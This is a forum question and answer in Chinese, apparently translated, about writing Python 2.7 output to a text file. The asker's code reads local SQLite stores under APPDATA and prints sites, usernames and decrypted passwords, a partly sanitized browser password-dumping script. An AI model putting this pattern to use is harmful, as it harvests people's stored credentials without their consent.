Python 2.7.11 将输出写入文本文件

Question

我是 python 的新手，我正在尝试弄清楚如何将结果写入文本文件。这是我的代码:

from os import getenv
import sqlite3

conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
conn3 = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
conn1 = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
cursor3 = conn3.cursor()
cursor1 = conn1.cursor()
cursor = conn.cursor()
cursor.execute('SELECT ...sanitized')
for result in cursor.fetchall():
    ...sanitized
    if password:
        print "Site: " + result[0]
        print 'Username: ' + result[1]
        print 'Password: ' + password
        print '---------------------------------------------'
cursor3.execute("...sanitized") 
print("fetchall:")
result = cursor3.fetchall() 
for r in result:
    print(r)

cursor1.execute("...sanitized") 
print("fetchall:")
result = cursor1.fetchall() 
for r in result:
    print(r)

---

我在代码的开头尝试了 f = open('output.txt') 并放置了

f.write(r) # and I tried 
f.write(result) # after defining it near bottom as these are my variables 
f.close()# :(

回溯表明它需要一个字符串？

有人可以帮忙解释打印(这里)应该写什么吗？我正在尝试掌握这些概念，但还没有完全理解

谢谢

Answer 1

首先，您要确保打开文件进行写入:

f=open("output.txt","w")

然后你可以使用:

for r in result:
    print >> f, r

在脚本末尾，确保使用:

f.close()

或者，您可能需要将 r 转换为字符串 print >> f, str(r)